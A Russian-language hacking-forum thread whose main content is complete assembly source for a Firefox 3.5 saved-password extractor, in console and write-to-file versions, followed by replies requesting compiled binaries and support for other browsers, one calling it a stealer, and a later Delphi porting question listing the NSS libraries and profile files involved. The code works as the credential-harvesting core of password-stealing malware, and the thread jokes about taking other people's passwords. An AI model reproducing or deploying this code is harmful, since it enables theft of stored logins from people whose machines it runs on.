[ASM] Firefox 3.5 Passwords Recovery

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by whexp, 6 Dec 2009.

  1. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    Firefox 3.5 Passwords Recovery

    Привет всем. Вот решил выложить, может кому и пригодится :)

    Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.

    Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb :) Тестировалось на Windows XP (x86).

    По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
    Code:
    format PE
    entry main
    
    include 'win32a.inc'
    
    USERNAME_MAX_LENGTH equ 90
    PASSWORD_MAX_LENGTH equ 90
    
    section '.data' data readable writeable
      pathWord			db 'Path', 0
      keyPath			db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
    
      libNSS			db 'nss3.dll', 0
      libSQLite			db 'sqlite3.dll', 0
    
      nNSS_Init			db 'NSS_Init', 0
      nPK11_GetInternalKeySlot	db 'PK11_GetInternalKeySlot', 0
      nPK11_Authenticate		db 'PK11_Authenticate', 0
      nNSSBase64_DecodeBuffer	db 'NSSBase64_DecodeBuffer', 0
      nPK11SDR_Decrypt		db 'PK11SDR_Decrypt', 0
      nPK11_FreeSlot		db 'PK11_FreeSlot', 0
      nNSS_Shutdown 		db 'NSS_Shutdown', 0
      nsqlite3_open 		db 'sqlite3_open', 0
      nsqlite3_exec 		db 'sqlite3_exec', 0
      nsqlite3_close		db 'sqlite3_close', 0
    
      iniPathMask			db '%s\Mozilla\Firefox\profiles.ini', 0
      profileNameMask		db 'Profile%d', 0
      profilePathMask		db '%s\Mozilla\Firefox\%s', 0
    
      dbName			db 'signons.sqlite', 0
      sqlCommand			db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
    
      outputMask			db 'Host: %s', 0Dh, 0Ah,\
    				   'Username: %s', 0Dh, 0Ah,\
    				   'Password: %s', 0Dh, 0Ah,\
    				   '==================================================', 0Dh, 0Ah, 0
    
      profileName			rb 10							; Имя профля (Profile0, Profile1, etc.)
      profilePathPart		rb 30						  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
      username			rb USERNAME_MAX_LENGTH				  ; Имя пользователя
      password			rb PASSWORD_MAX_LENGTH				  ; Пароль
      temp				rb 256						  ; Временная переменная для расшифровки
      profilePath			rb 256						  ; Полный путь до профиля
      appDataPath			rb 256						  ; Путь до директории APP_DATA
      iniPath			rb 256						  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
      firefoxPath			rb 256						  ; Путь до директории с установленным Firefox
      outputBuffer			rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
    
      hDB				dd ?	     ; Дескриптор БД
      hOutput			dd ?	     ; Дескриптор консоли
      writed			dd ?	     ; Количество записанных данных на консоль
      hKey				dd ?	     ; Дескриптор ключа реестра
      hNSS				dd ?	     ; Дескриптор модуля NSS
      hSQLite			dd ?	     ; Дескриптор модуля SQLite
    
      NSS_Init			dd ?	     ;
      PK11_GetInternalKeySlot	dd ?	     ;
      PK11_Authenticate		dd ?	     ;
      NSSBase64_DecodeBuffer	dd ?	     ;
      PK11SDR_Decrypt		dd ?	     ; Дескрипторы функций
      PK11_FreeSlot 		dd ?	     ;
      NSS_Shutdown			dd ?	     ;
      sqlite3_open			dd ?	     ;
      sqlite3_exec			dd ?	     ;
      sqlite3_close 		dd ?	     ;
    
      cbData			dd ?
    
      hKeySlot			dd ?
        struct PSECItem
        SECItemType dd ?
        SECItemData dd ?
        SECItemLen	dd ?
      ends
    
      eSECItem	PSECItem
      dSECItem	PSECItem
    
    section '.code' code readable executable
      main:
    	invoke	GetStdHandle, STD_OUTPUT_HANDLE 				; Получаем дескриптор консоли
    	mov	[hOutput],eax							; И записываем его в hOutput
    
    	invoke	RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey	; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
    	cmp	eax, 2								; Если такого ключа нет (Firefox не установлен), то выходим
    	je	.close								;
    
    	mov	[cbData], 256							;
    	invoke	RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData	; Считываем значение поля Path (путь до директории с установленным Firefox)
    	cmp	eax, 2								; Если такого нет (мало ли), то выходим
    	je	.close								;
    	invoke	RegCloseKey, [hKey]						; Закрываем Ключ
    
    	invoke	SetCurrentDirectory, firefoxPath				; Устанавливаем текущей директорией директорию с Firefox
    	cmp	eax, 0								;
    	je	.close								;
    
    	invoke	LoadLibrary, libNSS						;
    	cmp	eax, 0								;
    	je	.close								;
    	mov	[hNSS], eax							;
    										;
    	invoke	GetProcAddress, [hNSS], nNSS_Init				;
    	mov	[NSS_Init], eax 						;
    	invoke	GetProcAddress, [hNSS], nPK11_GetInternalKeySlot		;
    	mov	[PK11_GetInternalKeySlot], eax					;
    	invoke	GetProcAddress, [hNSS], nPK11_Authenticate			;
    	mov	[PK11_Authenticate], eax					;
    	invoke	GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer 		;
    	mov	[NSSBase64_DecodeBuffer], eax					;
    	invoke	GetProcAddress, [hNSS], nPK11SDR_Decrypt			;
    	mov	[PK11SDR_Decrypt], eax						; Загружаем необходимые библиотеки:
    	invoke	GetProcAddress, [hNSS], nPK11_FreeSlot				; NSS3 и SQLite3 и получаем адреса
    	mov	[PK11_FreeSlot], eax						; необходимых функций
    	invoke	GetProcAddress, [hNSS], nNSS_Shutdown				;
    	mov	[NSS_Shutdown], eax						;
    										;
    	invoke	LoadLibrary, libSQLite						;
    	cmp	eax, 0								;
    	je	.close								;
    	mov	[hSQLite], eax							;
    										;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_open			;
    	mov	[sqlite3_open], eax						;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_exec			;
    	mov	[sqlite3_exec], eax						;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_close			;
    	mov	[sqlite3_close], eax						;
    
    	invoke	SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0	; Получаем путь до директории Application Data текущего пользователяы
    	cinvoke wsprintf, iniPath, iniPathMask, appDataPath			; Получаем путь до файла profiles.ini
    
    	sub	ebx, ebx
    
      .proloop:												; В цикле будут обрабатываться профили
    	cinvoke wsprintf, profileName, profileNameMask, ebx						; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
    	invoke	GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath 	; Получаем путь до директории профиля
    	cmp	eax, 0											; Ну а если такого профиля нет, то выходим
    	je	.close
    	cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart			; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
    	invoke	SetCurrentDirectory, profilePath
    
    	cinvoke NSS_Init, profilePath
    	cinvoke PK11_GetInternalKeySlot
    	mov	[hKeySlot], eax
    	cinvoke PK11_Authenticate, [hKeySlot], 1, 0
    
    	cinvoke sqlite3_open, dbName, hDB								; Открываем БД
    	cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 					; Выполняем запрос
    	cinvoke sqlite3_close, [hDB]									; Закрываем БД
    
    	cinvoke PK11_FreeSlot, [hKeySlot]
    	cinvoke NSS_Shutdown
    
    	inc	ebx
    	jmp	.proloop
    
      .close:
    	invoke	ExitProcess, 0
    
    proc CallBack c, cols, rows, headers
    	push	ebx
    	mov	ebx, [rows + 4]
    
    	invoke	lstrcpyn, temp, [ebx + 4], 256					;
    	invoke	lstrlen, temp							; Расшифровываем имя пользователя
    	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; и помещаем в username
    	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
    	invoke	lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
    
    	invoke	lstrcpyn, temp, [ebx + 8], 256					;
    	invoke	lstrlen, temp							; Расшифровываем пароль и
    	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; помещаем в password
    	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
    	invoke	lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
    
    	cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password	; Форматируем текст по маске
    	invoke	lstrlen, outputBuffer
    	invoke	WriteConsole, [hOutput], outputBuffer, eax, writed, 0		; Выводим текст на консоль
    
    	pop	ebx
    	sub	eax, eax
    	ret
    endp
    
    section '.idata' import data readable writeable
      library kernel32, 'kernel32.dll',\
    	  user32, 'user32.dll',\
    	  advapi32, 'advapi32.dll',\
    	  shell32, 'shell32.dll'
    
      include 'api\kernel32.inc'
      include 'api\user32.inc'
      include 'api\advapi32.inc'
      include 'api\shell32.inc'
    Компилируем и запускаем через консоль и получаем множество записей вида:

    [​IMG]

    UPD:

    Версия с записью результатов в файл:
    Code:
    format PE GUI 4.0
    entry main
    
    include 'win32a.inc'
    
    USERNAME_MAX_LENGTH equ 90
    PASSWORD_MAX_LENGTH equ 90
    
    section '.data' data readable writeable
      pathWord			db 'Path', 0
      keyPath			db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
    
      libNSS			db 'nss3.dll', 0
      libSQLite			db 'sqlite3.dll', 0
    
      outputFileName		db 'passwords.txt', 0
    
      nNSS_Init			db 'NSS_Init', 0
      nPK11_GetInternalKeySlot	db 'PK11_GetInternalKeySlot', 0
      nPK11_Authenticate		db 'PK11_Authenticate', 0
      nNSSBase64_DecodeBuffer	db 'NSSBase64_DecodeBuffer', 0
      nPK11SDR_Decrypt		db 'PK11SDR_Decrypt', 0
      nPK11_FreeSlot		db 'PK11_FreeSlot', 0
      nNSS_Shutdown 		db 'NSS_Shutdown', 0
      nsqlite3_open 		db 'sqlite3_open', 0
      nsqlite3_exec 		db 'sqlite3_exec', 0
      nsqlite3_close		db 'sqlite3_close', 0
    
      iniPathMask			db '%s\Mozilla\Firefox\profiles.ini', 0
      profileNameMask		db 'Profile%d', 0
      profilePathMask		db '%s\Mozilla\Firefox\%s', 0
    
      dbName			db 'signons.sqlite', 0
      sqlCommand			db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
    
      outputMask			db 'Host: %s', 0Dh, 0Ah,\
    				   'Username: %s', 0Dh, 0Ah,\
    				   'Password: %s', 0Dh, 0Ah,\
    				   '==================================================', 0Dh, 0Ah, 0
    
      profileName			rb 10							; Имя профля (Profile0, Profile1, etc.)
      profilePathPart		rb 30						  ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
      username			rb USERNAME_MAX_LENGTH				  ; Имя пользователя
      password			rb PASSWORD_MAX_LENGTH				  ; Пароль
      temp				rb 256						  ; Временная переменная для расшифровки
      profilePath			rb 256						  ; Полный путь до профиля
      appDataPath			rb 256						  ; Путь до директории APP_DATA
      iniPath			rb 256						  ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
      firefoxPath			rb 256						  ; Путь до директории с установленным Firefox
      outputBuffer			rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
    
      hDB				dd ?	     ; Дескриптор БД
      writed			dd ?	     ; Количество записанных данных на консоль
      hKey				dd ?	     ; Дескриптор ключа реестра
      hNSS				dd ?	     ; Дескриптор модуля NSS
      hSQLite			dd ?	     ; Дескриптор модуля SQLite
      hFile 			dd ?	     ; Дескриптор файла
    
      NSS_Init			dd ?	     ;
      PK11_GetInternalKeySlot	dd ?	     ;
      PK11_Authenticate		dd ?	     ;
      NSSBase64_DecodeBuffer	dd ?	     ;
      PK11SDR_Decrypt		dd ?	     ; Дескрипторы функций
      PK11_FreeSlot 		dd ?	     ;
      NSS_Shutdown			dd ?	     ;
      sqlite3_open			dd ?	     ;
      sqlite3_exec			dd ?	     ;
      sqlite3_close 		dd ?	     ;
    
      cbData			dd ?
      hKeySlot			dd ?
    
      struct PSECItem
        SECItemType dd ?
        SECItemData dd ?
        SECItemLen	dd ?
      ends
    
      eSECItem	PSECItem
      dSECItem	PSECItem
    
    section '.code' code readable executable
      main:
    	invoke	CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    	mov	[hFile], eax
    	mov	[hFile],eax							; И записываем его в hFile
    
    	invoke	RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey	; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
    	cmp	eax, 2								; Если такого ключа нет (Firefox не установлен), то выходим
    	je	.close								;
    
    	mov	[cbData], 256							;
    	invoke	RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData	; Считываем значение поля Path (путь до директории с установленным Firefox)
    	cmp	eax, 2								; Если такого нет (мало ли), то выходим
    	je	.close								;
    	invoke	RegCloseKey, [hKey]						; Закрываем Ключ
    
    	invoke	SetCurrentDirectory, firefoxPath				; Устанавливаем текущей директорией директорию с Firefox
    	cmp	eax, 0								;
    	je	.close								;
    
    	invoke	LoadLibrary, libNSS						;
    	cmp	eax, 0								;
    	je	.close								;
    	mov	[hNSS], eax							;
    										;
    	invoke	GetProcAddress, [hNSS], nNSS_Init				;
    	mov	[NSS_Init], eax 						;
    	invoke	GetProcAddress, [hNSS], nPK11_GetInternalKeySlot		;
    	mov	[PK11_GetInternalKeySlot], eax					;
    	invoke	GetProcAddress, [hNSS], nPK11_Authenticate			;
    	mov	[PK11_Authenticate], eax					;
    	invoke	GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer 		;
    	mov	[NSSBase64_DecodeBuffer], eax					;
    	invoke	GetProcAddress, [hNSS], nPK11SDR_Decrypt			;
    	mov	[PK11SDR_Decrypt], eax						; Загружаем необходимые библиотеки:
    	invoke	GetProcAddress, [hNSS], nPK11_FreeSlot				; NSS3 и SQLite3 и получаем адреса
    	mov	[PK11_FreeSlot], eax						; необходимых функций
    	invoke	GetProcAddress, [hNSS], nNSS_Shutdown				;
    	mov	[NSS_Shutdown], eax						;
    										;
    	invoke	LoadLibrary, libSQLite						;
    	cmp	eax, 0								;
    	je	.close								;
    	mov	[hSQLite], eax							;
    										;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_open			;
    	mov	[sqlite3_open], eax						;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_exec			;
    	mov	[sqlite3_exec], eax						;
    	invoke	GetProcAddress, [hSQLite], nsqlite3_close			;
    	mov	[sqlite3_close], eax						;
    
    	invoke	SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0	; Получаем путь до директории Application Data текущего пользователяы
    	cinvoke wsprintf, iniPath, iniPathMask, appDataPath			; Получаем путь до файла profiles.ini
    
    	sub	ebx, ebx
    
      .proloop:												; В цикле будут обрабатываться профили
    	cinvoke wsprintf, profileName, profileNameMask, ebx						; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
    	invoke	GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath 	; Получаем путь до директории профиля
    	cmp	eax, 0											; Ну а если такого профиля нет, то выходим
    	je	.close
    	cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart			; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
    	invoke	SetCurrentDirectory, profilePath
    
    	cinvoke NSS_Init, profilePath
    	cinvoke PK11_GetInternalKeySlot
    	mov	[hKeySlot], eax
    	cinvoke PK11_Authenticate, [hKeySlot], 1, 0
    
    	cinvoke sqlite3_open, dbName, hDB								; Открываем БД
    	cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 					; Выполняем запрос
    	cinvoke sqlite3_close, [hDB]									; Закрываем БД
    
    	cinvoke PK11_FreeSlot, [hKeySlot]
    	cinvoke NSS_Shutdown
    
    	inc	ebx
    	jmp	.proloop
    
      .close:
    	invoke	CloseHandle, [hFile]
    	invoke	ExitProcess, 0
    
    proc CallBack c, cols, rows, headers
    	push	ebx
    	mov	ebx, [rows + 4]
    
    	invoke	lstrcpyn, temp, [ebx + 4], 256					;
    	invoke	lstrlen, temp							; Расшифровываем имя пользователя
    	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; и помещаем в username
    	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
    	invoke	lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
    
    	invoke	lstrcpyn, temp, [ebx + 8], 256					;
    	invoke	lstrlen, temp							; Расшифровываем пароль и
    	cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax			; помещаем в password
    	cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0				;
    	invoke	lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
    
    	cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password	; Форматируем текст по маске
    	invoke	lstrlen, outputBuffer
    	invoke	WriteFile, [hFile], outputBuffer, eax, writed, 0
    
    	pop	ebx
    	sub	eax, eax
    	ret
    endp
    
    section '.idata' import data readable writeable
      library kernel32, 'kernel32.dll',\
    	  user32, 'user32.dll',\
    	  advapi32, 'advapi32.dll',\
    	  shell32, 'shell32.dll'
    
      include 'api\kernel32.inc'
      include 'api\user32.inc'
      include 'api\advapi32.inc'
      include 'api\shell32.inc'
    Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg
     
    #1 whexp, 6 Dec 2009
    Last edited: 7 Dec 2009
    11 people like this.
  2. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Сделай лучше, чтоб в файл сохраняло.
    И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.
     
  3. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    =Zeus=, без проблем :)
    сделал версию с записью в файл, а так же залил откомпилированные версии.
     
  4. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?
     
    1 person likes this.
  5. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    Пардон :) Вчера не заметил. Сегодня исправлю, как приду.
     
  6. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл.

    ps. 2 =Zeus=, спасибо за замечания)
     
    1 person likes this.
  7. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Задумайся над написанием одной программы для 3-х браузеров - Firefox, Opera и IE. :)
     
  8. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    =Zeus= , зачем? :)
     
  9. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно :p
    Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово! :D

    Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.
     
    #9 =Zeus=, 7 Dec 2009
    Last edited: 7 Dec 2009
  10. zilmassdo

    zilmassdo New Member

    Joined:
    25 Nov 2009
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    ОГРОМНОЕ СПАСИБО!!!!Были траблы с Мозилой(не загружала страницы),а вней куча паролей!Еще раз спасибо!!!
     
  11. whexp

    whexp Member

    Joined:
    30 Nov 2009
    Messages:
    88
    Likes Received:
    29
    Reputations:
    5
    zilmassdo, да не за что :)
     
  12. sulea

    sulea Banned

    Joined:
    5 Dec 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    thank you very much for the source of stealer.
    i have one request if you please: can someone translate this into MASM code?
    thanks again, great source
     
  13. denis7656

    denis7656 New Member

    Joined:
    22 May 2012
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Ребят, извиняюсь за ап старой темы, просто считаю что это еще актуально.
    Пробовал этот способ, правда пришлось его переписать под Делфянку.
    Пробовал, что скомпиленный вариант под MASM'ом что свой под Дельфином - результат никакой. Показывает только URL'ы для сохраненных паролей и везде вместо encryptedUsername и encryptedPassword показывает только первый попавшийся в базе encryptedUsername. Хотя, видно что по всей базе проходит.
    Раскриптовка почему-то перестала работать на новых версиях фокса, у меня 29 версия, вроде последняя.
    Нашел прогу которая достает пароли из самого последнего и обратил внимание на то что она грузит из папки Фокса совсем другие DLL. Не как в исходнике.

    а именно вот эти:

    LoadLibrary(pchar(FirefoxPath +'freebl3.dll'));
    LoadLibrary(pchar(FirefoxPath +'nssdbm3.dll'));
    LoadLibrary(pchar(FirefoxPath +'softokn3.dll'));


    и плюс еще грузит две эти:

    sqlite3.dll
    NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));


    А пароли она не может расшифровать без любого из этих трех файлов:

    /FFoxProfile/cert8.db
    /FFoxProfile/key3.db
    /FFoxProfile/signons.sqlite


    В вышеуказанном исходнике там нужен только signons.sqlite

    нашел еще эту доку - http://securityxploded.com/firepassword.php#firefox_version_above_3_5 , но похоже что там не разобран этот вариант.
    Может уже кто-то разбирал причину неработоспособности кода или в новых функциях шифровки.
    Уже вторые сутки бьюсь, голову ломаю, помогите пожалуйста разобраться.
    Если нужно, или кто не хочет ковыряться в MASM'е, могу приколотить свой Вариант на Дельфине.
    Всем большое спасибо за любую полезную информацию.
     
    #13 denis7656, 18 May 2014
    Last edited: 18 May 2014